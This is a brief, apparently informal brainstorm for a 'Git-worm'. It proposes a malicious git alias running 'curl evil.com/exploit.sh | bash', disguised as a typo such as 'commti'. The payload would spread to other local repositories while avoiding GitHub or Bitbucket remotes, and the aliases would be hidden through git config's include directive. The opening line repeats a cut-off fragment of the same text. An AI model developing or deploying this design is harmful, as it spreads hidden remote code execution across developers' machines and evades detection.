Git-worm concept: * create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troub

Git-worm concept: * create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored" * exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked) * be innocuous-looking via git config's "include", so the bad aliases aren't obviously visible looking at ~/.gitconfig